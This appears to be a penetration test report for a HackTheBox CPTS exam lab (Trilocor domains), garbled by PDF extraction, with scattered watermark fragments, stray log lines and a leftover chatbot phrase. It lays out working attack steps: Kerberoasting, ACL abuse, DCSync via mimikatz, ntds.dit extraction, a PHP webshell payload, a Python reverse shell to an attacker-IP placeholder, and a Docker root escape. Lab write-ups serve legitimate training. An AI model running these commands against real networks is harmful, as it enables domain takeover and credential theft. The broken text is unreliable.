CPTS Updated Dec 2024
CPTS Updated Dec 2024
Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report.
# Severity Level Finding Name Page
1 9.0 (Critical) Remote Code Execution (RCE) 42
2 8.8 (High) SQL Injection (SQLi) 45
s
4 7.5 (High) Privilege Escalation On API 50
m
5 9.0 (Critical) Remote Code Execution (RCE) On API 52
xa
6 7.5 (High) Werkzeug console RCE via WEBSVC to SRVADM 55
7 8.8 (High) Docker Privilage escalation SRVADM to ROOT
re 58
8 9.3 (Critical) Master Password Disclosure Via NFS share 59
be
13 7.5 (High) Account Takeover via Plain Text Credentials on Sticky Notes 71
//t
CONFIDENTIAL
HACKTHEBOX
s
5.1 Detailed Walkthrough
m
Tester performed the following to fully compromise the Trilocor.local domain.
xa
Certainly! Here is the complete narrative: re
1. The tester utilized LaZagne to extract clear text passwords of the pthorp user. This allowed the tester
be
to log in to the active directory machine WS01.
2. The tester began the initial enumeration using powerview.ps1 and Bloodhound. These tools
cy
4. The tester initiated a phishing attack using a malicious .lnk file to capture NTLMv2 hashes. By placing
this file in the print_job share, the tester successfully captured the NTLMv2 hash of user JFLEMMING
//t
using Inveigh.
5. Using BloodHound, the tester identified that JFLEMMING had a GenericWrite ACE for user KSALINAS. This
s:
6. The tester added a fake SPN for KSALINAS and conducted a Kerberoasting attack using Rubeus. The
obtained hash was then cracked locally using hashcat.
ht
7. With the cracked credentials, the tester logged in as KSALINAS. The user KSALINAS had the necessary
ACE permissions to continue further actions.
8. The tester discovered that KSALINAS was a member of the MSSP CONNECT group, which had WriteOwner
permissions on the TIER I INFRASTRUCTURE group.
9. Leveraging the GenericWrite permissions, the tester added themselves to the MSSP CONNECT group.
10. With WriteOwner permissions on the TIER I INFRASTRUCTURE group, the tester changed the owner of the
TIER I INFRASTRUCTURE group to KSALINAS. This allowed the tester to add KSALINAS to the TIER I
INFRASTRUCTURE group.
11. The TIER I INFRASTRUCTURE group had GenericWrite permissions on the Fileshare Admins group.
The tester used these permissions to add KSALINAS to the Fileshare Admins group.
12. During further exploration of the network shares on DC01.trilocor.local\Deparment share, the tester
identified a Department share that contained private directories. Within the IT_BACKUP02072022
directory, the tester found an encrypted VeraCrypt container.
13. Utilizing hashcat, the tester successfully cracked the password for the VeraCrypt container.
14. With the password in hand, the tester mounted the VeraCrypt container to a local drive, gaining
access to its contents.
15. Inside the mounted VeraCrypt container, the tester discovered a password-protected psafe3 file.
16. The tester transferred the psafe3 file to their local machine and used hashcat to crack its password.
17. Upon successfully cracking the password, the tester found usernames and passwords for multiple
users stored within the psafe3 file.
18. Armed with these credentials, the tester successfully logged in as a highly privileged service account,
svc_trilocorsync. This account had extensive access and control over the domain.
19. The svc_trilocorsync user had a WriteDACL ACE on the Trilocor.local domain. The tester exploited this
permission to set DCSync permissions for svc_trilocorsync using dacledit.py.
20. With DCSync permissions, the tester used Mimikatz to extract the hash of the administrator password,
thereby compromising the entire trilocor.local domain.
The tester already has admistrative access on the WS01 machine and used tools LaZagne.exe to retrieve
plaintext passwords stored in the machine . The tester dicoverd that the plaintext password of Pidgin led
s
m
to the compromise of the pthorpeaccount.
xa
re
be
cy
e/
.m
//t
Figure 2 - Screenshot
s:
tp
The tester then utilized runas to log in to the account for ws01 machine runas
ht
/user:trilocor\pthorpe cmd
This provided a command shell. From there, the tester used powershell -ep bypass for the powerhsell access
and for the future enumeration.
Figure 3 - Powershell
pthorpe user is a member of PRINTER 4TH FLOOR group attacker listed all the associated shares using
s
powerview tool
m
xa
re
be
cy
e/
.m
//t
s:
tp
on DC01.trilocor.local tester detected Print_Jobs share, Now tester can perform a phising attack using
ht
Then tester created a malicious payload using PowerShell to create a .lnk file:
Next, the Tester initiated Inveigh to capture hashes and were able to capture the hash of JFLEMMING
within 1 min
Invoke-Inveigh -ConsoleOutput Medium -ConsoleUnique N -NBNS Y -mDNS Y -FileOutput Y -
FileOutputDirectory C:\Users\Public\ -SMB Y
s
m
xa
re
be
cy
╭─kali@kali ~/Desktop/CPTS/DC01/HASH
//t
The following mode was auto-detected as the only one matching your input hash:
tp
JFLEMMING::trilocor:8d99e2872749255b:dd9ed1206c2b05247588110dd754decc:010
[[ SNIP ]]
2e00310036002e003100330039002e00330035000000000000000000:[[ REDACTED ]]
Now the Tester can login with cracked password and on the local machine the tester can start the listener
on ligolo-ng for port 445 and transfer all sharphound.exe to the machine WS01 listener_add --addr 0.0.0.0:445
--to 0.0.0.0:445
s
m
xa
re
be
cy
e/
.m
now on the local machine we can start SMB share using impacket-smbserver tool
impacket-smbserver share -smb2support $(pwd)
//t
s:
tp
ht
and tester copied the sharphound.exe to the ws01 machine on path C:\users\public and run that
sharphound.exe , with same way tester can copy file to SMB share using Powershell.
from bloodhound result the WS01 machine and identified that user JFLEMMING is a member of the HELP
DESK MANAGERS group, which has genericWrite ACE, allowing a targeted Kerberoast attack utilising
Powervew and Rubeus tool
s
m
Figure 6 - Kerberoast Attack
xa
They created a PSCredential object: re
$SecPassword = ConvertTo-SecureString '[[PASSWORD REDACTED]]' -AsPlainText -Force
be
$Cred2 = New-Object System.Management.Automation.PSCredential('trilocor\JFLEMMING', $SecPassw ord)
cy
teh Using powerview.ps1, they set an SPN for the KSALINAS user
They then used Rubeus.exe to perform a Kerberoast attack and saved the hash to hashes.kerberoast:
s
m
PS C:\Users\Public> .\Rubeus.exe kerberoast /user:ksalinas /
xa
then user SMB share to copy the output to local machie and crack the tester cracked the Kerberos output
re
using hashcat:
be
╭─kali@kali ~/Desktop/CPTS/DC01
╰─$ hashcat hashes.kerberoast ~/Tools/wordlist/rockyou.txt --show Hash-mode was not specified
cy
with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only
one matching your input hash:
e/
Do NOT report auto-detect issues unless you are certain of the hash type.
$krb5tgs$23$*ksalinas$trilocor.local$nonexistent/
s:
BLAHBLAH@trilocor.local*$3079bcf13a6b71ed58ce841fd3511ef3$664b27c326c1df5
[[ SNIP ]]
tp
eb4cd5f87bd41658b0c0ea0c58ff343f50283ca6e523a2a9f39ce92981ca9f45c00bdaf31ea8424f046973227eea1
e43d38c436047aa9726383d6c3432d11314ba9bd3c026:[[ REDACTED ]]
ht
Now the tester has the password for the ksalinas user and is able logged in with the credentials
Figure 9 - Logged In
User Ksalinas was found to have self ACE on the MSSP CONNECT group:
so the tester can add the ksalainas to Group MSSP CONNECT using the powershell command
s
Add-DomainGroupMember -identity "MSSP Connect" -Members ksalinas -Domain trilocor.local
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
Now tester cam add Ksalinas to the TIER I INFRASTRUCTURE group, leveraging their permissions: using
Powerview commands
s
m
xa
Tester is setting ksalinas as the object owner For TIER I INFRASTRUCTURE Using powerview.
re
Set-DomainObjectOwner -Identity "TIER I INFRASTRUCTURE" -OwnerIdentity "ksalinas" -v
be
Now the ksalinas user can add themselves to the group TIER I INFRASTRUCTURE
Then discovered that TIER I INFRASTRUCTURE has GenericWrite ACE on Fileshare Admins, enabling them to add
e/
Using Bloodhound
//t
s:
tp
ht
s
m
xa
re
be
cy
e/
.m
Tester can check the more information using the Powerview commands
//t
ActiveDirectoryRights : GenericWrite
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength :0
AccessMask : 131112
SecurityIdentifier : S-1-5-21-748909465-2105014040-255522671-1716
AceType : AccessAllowed
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
Now tester can abuse the ACE to add user ksalinas to the group Fileshare Admins using powerview tool
Add-DomainGroupMember -Identity "Fileshare Admins" -Members ksalinas -Domain trilocor.local Now Ksalinas is a
s
m
xa
re
be
cy
e/
Now the user ksalinas is the member of Fileshare Admins, This will give the user to privilege to View the
//t
Private SMB Shares , while checking the shares tester detected a Department share on DC01.trilocor.local with
s:
tester mount the share to WS01 machine using net use command
net use I: \\DC01.trilocor.local\"Deparment Share"
Then used tree command to view the all directory, and Found an interesting Direcorty Inside private
Directory IT_BACKUP02072022
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
Figure 12 - IT Backup
tester copied the Trilocor_backup_03072022.vc file to the local machine and cracked its password using
hashcat:
s
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, POCL_DEBUG) -
m
Platform #1 [The pocl project]
xa
=============================================================================================
=============================================
* Device #1: cpu--0x000, 1438/2940 MB (512 MB allocatable), 4MCU
re
be
[[ SNIP ]]
Initialized device kernels and memoryStarting self-test. Please be patient...Finished selftestDictionary cache hit:
* Filename..: /home/kali/Tools/wordlist/rockyou.txt
cy
* Passwords.: 14344384
* Bytes.....: 139921497
e/
* Keyspace..: 14344384
.m
Trilocor_backup_03072022.vc:[[ REDACTED ]]
s:
Session..........: hashcat
tp
Status...........: Cracked
Hash.Mode........: 13751 (VeraCrypt SHA256 + XTS 512 bit (legacy))
ht
Hash.Target......: Trilocor_backup_03072022.vc
[[ SNIP ]]
Then the tester can mounted the decrypted file using Veracrypt
s
m
xa
Figure 13 - Veracrypt Now
re
be
tester can view the contents inside from the mounted drive
cy
e/
.m
//t
s:
tp
ht
s
m
xa
re
be
tester is able to crack the password with hashcat, and access its contents using pwsafe:
cy
╭─kali@kali ~/Desktop/CPTS/DC01/encrypted
╰─$ hashcat -m 5200 trilocor_svc_vault.psafe3 ~/Tools/wordlist/
e/
rockyou.txt
130 ↵ hashcat (v6.2.6) starting
.m
[[ SNIP ]]
Host memory required for this attack: 0 MB
s:
* Filename..: /home/kali/Tools/wordlist/rockyou.txt
* Passwords.: 14344384
ht
* Bytes.....: 139921497
* Keyspace..: 14344384trilocor_svc_vault.psafe3:[[ REDACTED ]]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: trilocor_svc_vault.psafe3
[[ SNIP ]]
s
m
xa
re
be
Figure 14 - Psafe3
cy
inside this attacker is able to view the username and password for the users
svc_mssql
e/
svc_sql
.m
svc_ipmi
//t
svc_azc
s:
svc_trilocorsync
tp
from above user tester is able to logged in as the user svc_trilocorsync user runas
ht
/user:trilocor\svc_trilocorsync cmd
The svc_trilocorsync have writeDACL ACE on Trilocor.local this can be exploited by tool like dacledit.py
dacledit.py -action 'write' -rights 'DCSync' -principal 'svc_trilocorsync' -target-dn 'DC=TRI
LOCOR,DC=LOCAL' trilocor.local/svc_trilocorsync:[[ REDACTED ]] -dc-ip 172.16.139.3
Now the svc_trilocorsync have dcsync ACE assigned so the tester can perform a dcsync attack and get hash
of administrator or Kerbtgt account utilizing mimikatz
PS C:\Users\Public> C:\Users\Public\mimikatz.exe "lsadump::dcsync / user:trilocor\administrator" "exit"
** SAM ACCOUNT **
s
User Account Control : 00110200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD NOT_DELEGATED ) Account
m
expiration :
xa
Password last change : 9/15/2022 1:30:42 AM
Object Security ID : S-1-5-21-748909465-2105014040-255522671-500
Object Relative ID : 500
re
be
Credentials:
Hash NTLM: [[ REDACTED ]]
cy
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
e/
* Primary:Kerberos-Newer-Keys *
Default Salt : TRILOCOR.LOCALAdministrator
//t
OlderCredentials
aes256_hmac (4096) : [[ REDACTED ]] aes128_hmac (4096) : [[
REDACTED ]] des_cbc_md5 (4096) : [[ REDACTED ]]
* Primary:Kerberos *
Default Salt : TRILOCOR.LOCALAdministrator
Credentials
des_cbc_md5 : 8c850d9da24cbc7c
OldCredentials
[[ SNIP ]]
mimikatz(commandline) # exit
Bye!
Tester then performed the following to fully compromise the Trilocorai.local domain.
s
4. Tester started utilizing PowerView to enumerate accounts in trilocorai.local domain that have SPNs
m
associated with them.
xa
5. Tester can see that the account svc_datakeeper has an SPN in the trilocorai.local domain. So the tester
can Kerberoast it and crack the hash offline, the tester can log in with the password to Trilocorai.local
re
domain.
be
6. The Tester can do a Kerberoasting attack across the trust using Rubeus.
7. Then the tester can run the hash through Hashcat and crack the hash then tester able to log in to
cy
10. Then tester is able to login as svc_veracrypt and detceted svc_veracrypt have privilage of
SeBackupPrivilenge which allows the user to copy ntds.dit and system files.
//t
11. Then using secretsdump.py tool tester is able to view the hashes for the users on the system.
s:
12. Then tester is able to login asadministartor user on machine DC02 using pass the hash
tp
13. from the Document directory tester detected theencrypted password from svc_ipmi.Cred file.
14. Tester decrypted the password and was able to use it on http://17216.210.21:8080/ application
ht
The tester Already compromised the DC01 machine its Domain controller of trilocor.local domain.
This domain has cross-forest trust on trilocorai.local domain
Figure 15 - Powerview
s
m
xa
re
be
cy
e/
.m
Figure 16 - BloodHount
from DC01 machine Tester started utilizing PowerView to enumerate accounts in trilocorai.local domain that
//t
samaccountname
ht
--------------
svc_datakeeper
krbtgt
Tester can see that the account svc_datakeeper has an SPN in the trilocorai.local domain. So the tester can
Kerberoast it and crack the hash offline, the tester can log in with the password to Trilocorai.local domain.
______ _
(_____ \ ||
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/ v2.2.1
[*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or
/tgtdeleg to force RC4_HMAC for these accounts.
s
1.2.840.113556.1.4.803:=2)))'
m
[*] Total kerberoastable users : 1
xa
[*] SamAccountName : svc_datakeeper
re
[*] DistinguishedName : CN=svc_datakeeper,CN=Users,DC=trilocorai,DC=local
be
[*] ServicePrincipalName : datakeeper/admin01.trilocorai.local:80
[*] PwdLastSet : 7/26/2022 7:09:36 AM
cy
admin01.trilocorai.local:80@trilocorai.local*$A84C68FC7426B7AD168BA02412A6F372$C242D39318C7AE
280DAB0296A94FB53FE00E452CAF633B01CBABD5DF94B06F50739[[ SNIP ]]
.m
PS C:\users\public>
//t
Now the tester can copy this into the local machine and crack hash using hashcat
s:
╭─kali@kali ~/Desktop/CPTS/DC02
tp
[[ SNIP ]]
Host memory required for this attack: 0 MB
$krb5tgs$23$*svc_datakeeper$trilocorai.local$datakeeper/admin01.trilocorai.local:
80@trilocorai.local*$a84c68fc7426b7ad168ba02412a6f372$c242d39318c7ae280dab0296a94fb53fe00e452
caf633b01cbabd5df94b06f50739
[[ SNIP ]]
8c7ab9b8b9a5f22a5fe6ab52e94ee827c2952506763ef9fe4aa9ad8d948f31b4feced23145e4102ee2f7bc5c700fe
8a32ea806ffbf350ca57edf8b56941b4ad0b05e48961341e34af3a7c74f:[[ REDACTED]]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_datakeeper$trilocorai.local$datake...a7c74f
Time.Started.....: Tue Jun 11 02:14:33 2024 (8 secs)
[[SNIP]]
Now the tester have the password for the svc_datakeeper user but to login to that network tester have set
a tunnel using ligolo-ng.
s
m
xa
re
be
cy
e/
.m
//t
so tester moved the ligolo-ng agent.exe to the DC01 machine using smb share
s:
tp
ht
s
m
xa
re
be
cy
from further enumeration tester detected user svc_datakeeper is a member of 'Event log Readers'
after checking the event logs tester detected the username and password for the user svc_veracrypt user
with the credential, the tester is able to login into svc_veracrypt user
s
m
xa
re
be
cy
While checking whoami /priv tester detected SeBackupPrivilege for svc_veracrypt user
e/
PRIVILEGES INFORMATION
//t
----------------------
s:
so the tester needs the ntds.dit file to extract the hashes along with the system hive tester move to our
Kali Linux machine and create a dsh file using the nano editor . In this file, tester instructing the
diskshadow to create a copy of the C: Drive into a Z Drive with raj as its alias. The Drive Alias and
Character can be anything tester want. After creating this dsh file, tester use the unix2dos to convert
the encoding and spacing of the dsh file to the one that is compatible with the Windows Machine.
nano raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh
s
m
xa
now tester can run the this command diskshadow
/s raj.dsh
re
be
cy
e/
.m
//t
s:
tp
ht
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Files : ntds.dit
------------------------------------------------------------------------------
1 z:\windows\ntds\
New File 40.0 m ntds.dit
[[ SNIP ]]
100%
100%
------------------------------------------------------------------------------
s
Dirs : 1 0 1 0 0 0
m
Files : 1 1 0 0 0 0
Bytes : 40.00 m 40.00 m 0 0 0 0 Times : 0:00:00 0:00:00 0:00:00 0:00:00
xa
Speed : 68871986 Bytes/sec. Speed : 3940.886 MegaBytes/min.
Ended : Sunday, June 16, 2024 5:18:08 AM re
740233172.414604@[613272303871541] (UTM):* SLSGetNextEventRecordInternal: loc (477.6, -705.6) conn 0x10c4fb Scroll
Wheel win 0x1727a Axis1 0 Phase MomentumContinue
be
Then tester the command to create the copy of system
cy
now the tester can download the two using evil-winrm to local machine and use [secretsdump.py] tool to
get the hash
//t
╭─kali@kali ~/Desktop/CPTS/DC02
s:
now tester started a ping sweep attack and detected IPs and also for the ADMIN01 172.16.210.21 machine
tester started nmap scan on the ip and detected port 8080 was open and ipMonitor 11.2on the port
8080
s
# Nmap 7.94SVN scan initiated Thu Jun 13 02:40:52 2024 as: nmap -sCV -Pn -vv --open --
m
disable-arp-ping -oN nmap/ADMIN01.txt 172.16.210.21
Nmap scan report for 172.16.210.21
xa
Host is up, received user-set (0.19s latency).
Scanned at 2024-06-13 02:40:52 PDT for 96s re
Not shown: 996 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
be
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
cy
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 61832/tcp): CLEAN (Timeout)
| Check 2 (port 43995/tcp): CLEAN (Timeout)
| Check 3 (port 60997/udp): CLEAN (Timeout)
| Check 4 (port 43688/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: ADMIN01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:20:b0
(VMware) |
Names:
| ADMIN01<20> Flags: <unique><active>
| ADMIN01<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active> | Statistics:
| 00:50:56:94:20:b0:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00 | smb2-time:
| date: 2024-06-13T12:22:30
|_ start_date: N/A
|_clock-skew: 2h40m41s |
smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
The testerreviously found the encrypted password IPMI from the DC02the directory
s
m
xa
re
be
cy
e/
Directory: C:\Users\Administrator\Documents
s
m
xa
re
be
cy
now tester want to add ADMIN01 moniotr and Add new action in this alert for the external proccess and
e/
Exec.name: cmd.exe
Directory: C:\Windows\System32
//t
s
m
xa
re
be
then the tester run 'Force Test', select the monitor and in exec params change admin password
cy
Now the tester can with a new password for administraor Log in to ADMIN01
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
6 Remediation Summary
As a result of this assessment there are several opportunities for Acme’s to strengthen its internal
network security. Remediation efforts are prioritized below starting with those that will likely take the
least amount of time and effort to complete. Acme’s should ensure that all remediation steps and
mitigating controls are carefully planned and tested to prevent any service disruptions or loss of data.
• Set strong (24+ character) passwords on all SPN accounts *Enforce a password change for all
users because of the domain compromise • give emplyees awareness
s
MEDIUM TERM REMEDIATION:
m
• Disable LLMNR and NBT-NS wherever possible
xa
• Setup MDR and EDR
• update all application
re
• restict access of malicious ip
be
• Perform ongoing internal network vulnerability assessments and domain password audits
.m
compromise
s:
• Enhance network segmentation to isolate critical hosts and limit the effects of an internal
tp
compromise
To mitigate risks from unrestricted file uploads and SQL injection, enforce file type
validation, size limits, name sanitization, secure storage, proper permissions,
Remediation
parameterized queries, input validation, least privilege access, error handling, and
regular security audits.
References -
Finding Evidence
Malicious User has uploaded web shell on the server and able get web revershell using the blow payload
1. Malicious user can register user on the http://securetransfer-dev.trilocor.local and log in the
dashboard
s
m
xa
re
be
cy
e/
.m
2. User is able to upload any file they want to upload there is no restriction for the file type or the
content
//t
s:
tp
ht
3. Malicious user can chain the SQli vulnerability here and file the actual path of the file
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[[SNIP]]....
[20:29:47] [INFO] resumed: /var/www/html/storage/2_31159bec-1565-427b-a168-f25dc34a7d84.php
Database: securetransfer
Table: files
[1 entry]
+------------------------------------------------------------------+
| real_path |
+------------------------------------------------------------------+
| /var/www/html/storage/2_31159bec-[[ REDACTED ]]4a7d84.php |
+------------------------------------------------------------------+
3. Malicious user can access path and try to check the for the command injection using the blow
s
payloads
m
?cmd=whoami;id
xa
re
be
cy
e/
.m
The web application processed user input in an insecure manner and was thus
vulnerable to SQL injection. In an SQL injection attack, special input values in the
web application are used to influence the application's SQL statements to its
Root Cause database. Depending on the database used and the design of the application, this
may make it possible to read and modify the data stored in the database, perform
administrative actions (e.g., shut down the DBMS), or in some cases even gain code
execution and the accompanying complete control over the vulnerable server.
The impact of SQL injection can range from unauthorized access to sensitive data,
manipulation or deletion of database records, escalation of privileges, complete
s
Impact system compromise, service disruption, theft of intellectual property, and significant
m
damage to the organization's reputation and financial losses due to legal
repercussions and loss of customer trust.
xa
Affected
http://securetransfer-dev.trilocor.local/download.php?file=*
Component
re
be
• Use prepared statements throughout the application to effectively avoid SQL
injection vulnerabilities. Prepared statements are parameterized statements
cy
and ensure that even if input values are manipulated, an attacker is unable to
change the original intent of an SQL statement.
e/
for the application is accepted. You should not sanitize potentially malicious
s:
input.
• To reduce the potential damage of a successful SQL Injection attack, you should
tp
minimize the assigned privileges of the database user used according to the
ht
References https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Finding Evidence
We identified an SQL injection vulnerability in the web application and were able to access stored data
in the database as a result.
SQL Injection is a common server-side vulnerability in web applications. It occurs when software
developers create dynamic database queries that contain user input. In an attack, user input is crafted
in such a way that the originally intended action of an SQL statement is changed. SQL injection
vulnerabilities result from an application's failure to dynamically create database queries insecurely and
to properly validate user input. They are based on the fact that the SQL language basically does not
distinguish between control characters and data characters. In order to use a control character in the
data part of an SQL statement, it must be encoded or escaped appropriately beforehand.
An SQL injection attack is therefore essentially carried out by inserting a control character such as '
(single apostrophe) into the user input to place new commands that were not present in the original
SQL statement. A simple example will demonstrate this process. The following SELECT statement
contains a variable userId. The purpose of this statement is to get data of a user with a specific user id
from the Users table. sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + userId;
An attacker could now use special user input to change the original intent of the SQL statement. For
example, he could use the string ' or 1=1 as user input. In this case, the application would construct the
following SQL statement: sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + ' or 1=1;
Instead of the data of a user with a specific user ID, the data of all users in the table is now returned to
the attacker after executing the statement. This gives an attacker the ability to control the SQL statement
in his own favor.
s
There are a number of variants of SQL injection vulnerabilities, attacks and techniques that occur in
m
different situations and depending on the database system used. However, what they all have in
xa
common is that, as in the example above, user input is always used to dynamically construct SQL
statements. Successful SQL injection attacks can have far-reaching consequences. One would be the
re
loss of confidentiality and integrity of the stored data. Attackers could gain read and possibly write
access to sensitive data in the database. SQL injection could also compromise the authentication and
be
authorization of the web application, allowing attackers to bypass existing access controls. In some
cases, SQL injection can also be used to gain code execution, allowing an attacker to gain complete
cy
Through RCE, an attacker can access files saved inside the server, including the
database username and password, and the database configuration file. From there,
tp
To mitigate account takeover via RCE, secure configuration files, use strong
password hashing, enforce access controls, conduct regular audits, update
Remediation
software, monitor logs, segregate environments, and implement multi-factor
authentication (MFA).
References -
Finding Evidence
1. From the internal recon we discovered a README file got a new subdomain http://
osticketapp.trilocor.local
s
m
xa
2. from the same location, I have discovered few username and admin email
user : Administrator hash :
re
$2a$08$UPdUiJSf37r.gC7TUnOLQOY4HTTLms7G.dUAPDTXKpI2QiQKyH88. mail :
be
admin@trilocor.local
[[SNIP]]
cy
(1,1,1,'Administrator','Administrator','Administrator','$2a$08$UPdUiJSf37r.gC7TUnOLQOY4HTTLms
.m
7G.dUAPDTXKpI2QiQKyH88.',NULL,'admin@trilocor.local','',NULL,'','',NULL,NULL,NULL,NU
LL,1,1,1,0,0,0,0,25,0,'none','Letter',NULL,'{\"user.create\":1,\"user.delete\":
1,\"user.edit\":1,\"user.manage\":1,
//t
UNLOCK TABLES;
[[SNIP]]
s:
tp
╭─kali@kali ~/Desktop/CPTS/
hash
╰─$ hashcat -m 3200 os-ticket.txt ~/Tools/wordlist/
rockyou.txt
$2a$08$UPdUiJSf37r.gC7TUnOLQOY4HTTLms7G.dUAPDTXKpI2QiQKyH88.:administracion
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish
(Unix)) Hash.Target......:
$2a$08$UPdUiJSf37r.gC7TUnOLQOY4HTTLms7G.dUAPDTXKpI2...KyH88.
4. able to log in to the application and find the new subdomain http://gogsusdev01.trilocor.local
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
The vulnerability in question allows a normal user to escalate their privileges to that
of an admin user through the API's update function. This type of vulnerability can
Root Cause have severe consequences as it enables unauthorized users to perform actions that
should be restricted to administrators, such as accessing sensitive data, modifying
critical system settings, or managing other users.
s
Remediation implement comprehensive logging and auditing, conduct regular security reviews,
m
apply rate limiting and monitoring, and ensure user roles cannot be modified
xa
through user-controlled inputs.
References - re
Finding Evidence
be
4. Register the user on the application. On update profile API the malicious user can add additional
parameter role change to admin
s
m
CVSS 3.1 9.0 / CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
xa
The vulnerability allows an attacker to execute arbitrary PHP code through the
Support Ticket API by injecting a payload in the ticket creation process. This enables
re
Root Cause
unauthorized access to sensitive files on the server, potentially leading to further
be
exploitation such as deploying a reverse shell.
Unauthorized Code Execution: Attackers can execute arbitrary PHP code on the
cy
Impact server, leading to data breaches, service disruptions, and unauthorized access to
system resources.
e/
Affected
.m
http://gogsusdev01.trilocor.local
Component
//t
References -
tp
Finding Evidence
ht
On the add Support ticket API we can create a data with our payload
< ?=$̀_GET[0]`
? >
go to the export ticket on parameter add on .php and send the request
s
m
xa
re
be
cy
s
m
xa
re
be
cy
e/
.m
//t
s:
tp
ht
The vulnerability involves exploiting the Werkzeug console to achieve Remote Code
Execution (RCE) on a Linux system. This can subsequently lead to privilege
Root Cause
escalation from a web service user to a system administrator (srvadm), granting
unauthorized access and control over the server.
• Remote Code Execution (RCE): Allows attackers to execute commands on the
server remotely, potentially compromising data integrity, confidentiality, and
availability.
Impact
• Privilege Escalation: Elevates attacker privileges from a lower-level web service
user to a higher-level system administrator, enabling broader access to
sensitive system resources.
s
Affected
m
WEB-NIX01 | http://trilocor.local:7777/console
Component
xa
• Update and Patch: Apply security updates promptly to mitigate known
vulnerabilities in Werkzeug and other software components.
re
• Access Control: Implement strict access controls and segregation of privileges
Remediation to limit the impact of potential RCE attacks.
be
• Monitoring and Logging: Establish comprehensive monitoring and logging
mechanisms to detect suspicious activities and potential RCE attempts early.
cy
References https://book.hacktricks.xyz/network-services-pentesting/pentesting-
e/
web/werkzeug
.m
Finding Evidence
Login to websrv user to machine and check the process running as srvadm, malicious user can see the
//t
s
m
xa
re
be
running this exploit will give the password for the console
cy
e/
.m
//t
s:
tp
ht
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<
ATTACKER IP >>",<<ATTACKER PORT >>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),
1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash"
s
m
xa
re
be
cy
e/
.m
//t
s:
The user srvadm has been granted access to the Docker daemon through
membership in the Docker group. This configuration allows srvadm to execute
Root Cause
Docker commands, including running containers with privileged access to the host
system.
Privileged Container Execution: Using the Docker command provided (docker -H
unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu:20.04 chroot /mnt bash),
srvadm can launch a Docker container with the ability to access and modify the host
Impact
filesystem. Potential Security Risks: Granting Docker access to a user with
administrative privileges (srvadm) increases the risk of unauthorized system
modifications, data breaches, and potential compromise of sensitive information.
Affected
WEB-NIX01
Component
• Least Privilege Principle: Restrict Docker access to only those users who
absolutely require it for their tasks.
• Container Security Best Practices: Implement Docker security best practices,
Remediation such as using minimal images, applying least privilege principles within
containers, and regularly updating Docker images.
• Monitor Docker Activities: Continuously monitor Docker activities and container
deployments for any suspicious or unauthorized actions.
https://book.hacktricks.xyz/linux-hardening/privilege-
References
escalation/interestinggroups-linux-pe#docker-group
Finding Evidence
The user srvadm is logged in with the docker group. This allows him to use and control the Docker
daemon.
s
m
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu:20.04 chroot /mnt bash
xa
8. Master Password Disclosure Via NFS share - Critical re
CWE CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
be
CVSS 3.1 9.3 / CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cy
The attacker has identified an open mount point, allowing unauthorized access to
Root Cause sensitive files. Subsequently, they were able to discover the master password for the
e/
unauthorized users.
Impact
• Master Password Compromise: Obtaining the master password for the
s:
GlassFish server poses a severe security risk, allowing the attacker to gain full
tp
Affected
172.16.139.35
Component
• Secure Configuration: Ensure all mount points are properly secured and access
is restricted based on the principle of least privilege.
• Access Controls: Implement robust access controls and authentication
mechanisms to prevent unauthorized access to sensitive files and resources.
Remediation • Encryption: Encrypt sensitive information such as passwords to mitigate the
impact of unauthorized access.
• Regular Audits: Conduct regular security audits and vulnerability assessments
to identify and remediate potential security weaknesses before they can be
exploited.
References -
Finding Evidence
Attacker Discovered open mount
s
